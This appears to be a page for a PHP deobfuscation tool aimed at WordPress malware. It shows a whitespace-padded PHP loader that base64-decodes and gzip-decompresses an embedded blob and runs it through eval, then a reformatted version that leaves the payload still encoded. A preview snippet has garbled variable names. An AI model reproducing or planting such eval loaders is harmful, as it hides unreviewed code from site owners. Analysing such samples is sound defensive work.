PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $__='printf';$_='Loading CLASS_NAME'; $_=' b2JfZW5kX2NsZWFu'; $='cmV0dXJuIGV2YWwoJF8pOw==';$____='X19sYW1iZGE='; $=' Z3p1bmNvbXByZXNz'; $_=' b2Jfc3RhcnQ='; $__='b2JfZ2V0X2NvbnRlbnRz'; $= 'base64_decode' ; $=$($__); if(!function_exists(...

Obfuscated php code

<?php         $__='printf';$_='Loading CLASS_NAME';                                                                                                                                                                                                        $_____='    b2JfZW5kX2NsZWFu';                                                                                                                                                                              $______________='cmV0dXJuIGV2YWwoJF8pOw==';$__________________='X19sYW1iZGE=';                                                                                                                                                                                                                                          $______=' Z3p1bmNvbXByZXNz';                    $___='  b2Jfc3RhcnQ=';                                                                                                    $____='b2JfZ2V0X2NvbnRlbnRz';                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                $__=                                                              'base64_decode'                           ;                                                                       $______=$__($______);           if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    $__________________=$__($__________________);                                                                                                                                                                                                                                                                                                                                                                         $______________=$__($______________);        $__________=$__________________('$_',$______________);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $_____=$__($_____);                                                                                                                                                                                                                                                    $____=$__($____);                                                                                                                    $___=$__($___);                      $_='eNrtmkuPokAQx+8m+x08TIITN0YdfBDDgWkV2vYxAwyvixHQFkVwBx/BT78tuDNr5uI+sslO6tcpiu5Q/26qSB9IF4s5d1OGyG1fg2i34DpZ94LIoaGkadOxNOoVUThLkkqlwnUKl8jilwK021vhnNriX0T8MMJZNSGxzVrgyD2Ry4beq3UTl/KLRQAAgM8J522Mqm8N9lg26rZ5jAd9YWGl61a+abJdM9+up5AqAAAAAAAAAPjfgN8ZAAAAnxfOnSXzJj/1517sz7kOZAQAAAAA/ojrMwHDtL0bat0VfX1a0aayoi3meUoGyrjqBZKA0eJwIAqzIbMnZjqzl2hyjNczs1HF3Sod6fg07iYEBe1vhMaUBB/1MIoPaDNObGt8wr3lwam/kPkxphhJ1FOMwJXDFWZz2pa6tdPHjW82Vr4cHtzgfO+HBKknX8EJRurWjZ63KJBY7GMr97nNTJsS1N/ZocCeHSSOycf5e6y3WEmoI4dMx1t7D2rK8/Ko0dw0mac8T/AgXbewUiU/tJh26lhqzdvw1DUHi3OMLwuJ++CHXkAzjSGSIsNQ5aFOI6JJ+/P6vchZuojmuUExnej0gehJrsv0F88x8Tf91KqrNdeSYk0WIkePm05kRI72ppvFE42tKVtL+4AnZYHOme2ZlcvCkvWXei8d6V5jrFOR6xQK//4jEjNfuvTuO78S/lPsLYF37xOWuPOV+/o2LZxh+b0zLNe5LV0VM0/tfec7EBDksA==';        $___();$__________($______($__($_))); $________=$____();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             $_____();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       echo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           $________; ?>

Decoded(de-Obfuscated) php code

<?php

$__ = 'printf';
$_ = 'Loading CLASS_NAME';
$_____ = '    b2JfZW5kX2NsZWFu';
$______________ = 'cmV0dXJuIGV2YWwoJF8pOw==';
$__________________ = 'X19sYW1iZGE=';
$______ = ' Z3p1bmNvbXByZXNz';
$___ = '  b2Jfc3RhcnQ=';
$____ = 'b2JfZ2V0X2NvbnRlbnRz';
$__ = 'base64_decode';
$______ = "gzuncompress";
if (!function_exists('__lambda')) {
    function __lambda($sArgs, $sCode)
    {
        return eval("return function({$sArgs}){{$sCode}};");
    }
}
$__________________ = $__($__________________);
$______________ = $__($______________);
$__________ = $__________________('$_', $______________);
$_____ = $__($_____);
$____ = $__($____);
$___ = $__($___);
$_ = 'eNrtmkuPokAQx+8m+x08TIITN0YdfBDDgWkV2vYxAwyvixHQFkVwBx/BT78tuDNr5uI+sslO6tcpiu5Q/26qSB9IF4s5d1OGyG1fg2i34DpZ94LIoaGkadOxNOoVUThLkkqlwnUKl8jilwK021vhnNriX0T8MMJZNSGxzVrgyD2Ry4beq3UTl/KLRQAAgM8J522Mqm8N9lg26rZ5jAd9YWGl61a+abJdM9+up5AqAAAAAAAAAPjfgN8ZAAAAnxfOnSXzJj/1517sz7kOZAQAAAAA/ojrMwHDtL0bat0VfX1a0aayoi3meUoGyrjqBZKA0eJwIAqzIbMnZjqzl2hyjNczs1HF3Sod6fg07iYEBe1vhMaUBB/1MIoPaDNObGt8wr3lwam/kPkxphhJ1FOMwJXDFWZz2pa6tdPHjW82Vr4cHtzgfO+HBKknX8EJRurWjZ63KJBY7GMr97nNTJsS1N/ZocCeHSSOycf5e6y3WEmoI4dMx1t7D2rK8/Ko0dw0mac8T/AgXbewUiU/tJh26lhqzdvw1DUHi3OMLwuJ++CHXkAzjSGSIsNQ5aFOI6JJ+/P6vchZuojmuUExnej0gehJrsv0F88x8Tf91KqrNdeSYk0WIkePm05kRI72ppvFE42tKVtL+4AnZYHOme2ZlcvCkvWXei8d6V5jrFOR6xQK//4jEjNfuvTuO78S/lPsLYF37xOWuPOV+/o2LZxh+b0zLNe5LV0VM0/tfec7EBDksA==';
$___();
$__________($______($__($_)));
$________ = $____();
$_____();
echo $________;

Malware detection & removal plugin for WordPress